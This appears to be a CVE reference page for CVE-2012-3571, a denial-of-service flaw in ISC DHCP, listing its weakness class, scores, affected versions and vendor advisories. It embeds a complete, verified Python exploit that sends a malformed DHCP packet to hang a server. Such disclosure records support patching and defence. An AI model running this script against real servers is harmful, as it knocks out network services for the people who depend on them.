CVE-2012-3571 : Detail

CVE-2012-3571

Overflow
10.19%V3
Adjacent Network
2012-07-25
08h00 +00:00
2016-12-29
20h57 +00:00
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CVE Descriptions

ISC DHCP 4.1.2 through 4.2.4 and 4.1-ESV before 4.1-ESV-R6 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a malformed client identifier.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.1 AV:A/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 37538

Publication date : 2012-07-24 22h00 +00:00
Author : Markus Hietava
EDB Verified : Yes

source: https://www.securityfocus.com/bid/54665/info ISC DHCP is prone to multiple denial-of-service vulnerabilities. An attacker can exploit these issues to cause the affected application to crash, resulting in a denial-of-service condition. #!/usr/bin/python ''' SC DHCP 4.1.2 <> 4.2.4 and 4.1-ESV <> 4.1-ESV-R6 remote denial of service(infinite loop and CPU consumption/chew) via zero'ed client name length http://www.k1p0d.com ''' import socket import getopt from sys import argv def main(): args = argv[1:] try: args, useless = getopt.getopt(args, 'p:h:') args = dict(args) args['-p'] args['-h'] except: usage(argv[0]) exit(-1) dhcp_req_packet = ('\x01\x01\x06\x00\x40\x00\x03\x6f' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x22\x5f\xae' '\xa7\xdf\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x63\x82\x53\x63' '\x35\x01\x03\x32\x04\x0a\x00\x00' '\x01\x0c\x00' '\x37\x0d\x01\x1c\x02\x03\x0f' '\x06\x77\x0c\x2c\x2f\x1a\x79\x2a' '\xff\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect((args['-h'], int(args['-p']))) sock.sendall(dhcp_req_packet) print 'Packet sent' sock.close() def usage(pyname): print ''' Usage: %s -h <host> -p <port> ''' % pyname if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Isc>>Dhcp >> Version 4.1.2

Isc>>Dhcp >> Version 4.2.0

Isc>>Dhcp >> Version 4.2.0

Isc>>Dhcp >> Version 4.2.0

Isc>>Dhcp >> Version 4.2.0

Isc>>Dhcp >> Version 4.2.0

Isc>>Dhcp >> Version 4.2.0

Isc>>Dhcp >> Version 4.2.0

Isc>>Dhcp >> Version 4.2.1

Isc>>Dhcp >> Version 4.2.1

Isc>>Dhcp >> Version 4.2.1

Isc>>Dhcp >> Version 4.2.2

Isc>>Dhcp >> Version 4.2.2

Isc>>Dhcp >> Version 4.2.2

Isc>>Dhcp >> Version 4.2.3

Isc>>Dhcp >> Version 4.2.3

Isc>>Dhcp >> Version 4.2.3

Isc>>Dhcp >> Version 4.2.4

Configuraton 0

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Isc>>Dhcp >> Version 4.1-esv

Configuraton 0

Canonical>>Ubuntu_linux >> Version 11.04

Canonical>>Ubuntu_linux >> Version 11.10

Canonical>>Ubuntu_linux >> Version 12.04

Configuraton 0

Debian>>Debian_linux >> Version 6.0

Debian>>Debian_linux >> Version 7.0

References

https://kb.isc.org/article/AA-00712
Tags : x_refsource_CONFIRM
http://www.debian.org/security/2012/dsa-2516
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2012-1141.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.mandriva.com/security/advisories?name=MDVSA-2012:116
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.mandriva.com/security/advisories?name=MDVSA-2012:115
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.debian.org/security/2012/dsa-2519
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.ubuntu.com/usn/USN-1519-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://security.gentoo.org/glsa/glsa-201301-06.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://rhn.redhat.com/errata/RHSA-2012-1140.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/54665
Tags : vdb-entry, x_refsource_BID